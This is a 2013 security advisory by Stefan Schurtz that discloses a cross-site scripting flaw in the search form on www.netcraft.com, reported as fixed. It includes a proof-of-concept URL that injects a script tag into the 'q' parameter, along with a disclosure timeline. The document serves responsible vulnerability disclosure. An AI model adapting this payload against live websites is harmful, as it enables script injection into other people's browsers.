www.netcraft.com - "Search Form" Cross-site Scripting vulnerability

[Stefan Schurtz <sschurtz () t-online de>]

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Advisory:               www.netcraft.com - Search Form Cross-site Scripting vulnerability
Advisory ID:            SSCHADV2013-008
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on www.netcraft.com
Vendor URL:             http://www.netcraft.com
Vendor Status:          fixed

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Vulnerability Description
==========================

The 'q'-Parameter in the Search Form on www.netcraft.com is prone to a
XSS vulnerability.

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PoC-Exploit
==========================

// IE8 & IE 10 & Aurora 8.0

http://www.netcraft.com/search/?q=127.0.0.1";></iframe><script>alert(document.domain)</script>&submit=Search&submit=Search

==========================
Solution
==========================

fixed

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Disclosure Timeline
==========================

12-May-2013 - vendor informed by email
13-may-2013 - feedback from vendor

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

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References
==========================

http://www.netcraft.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-008.txt
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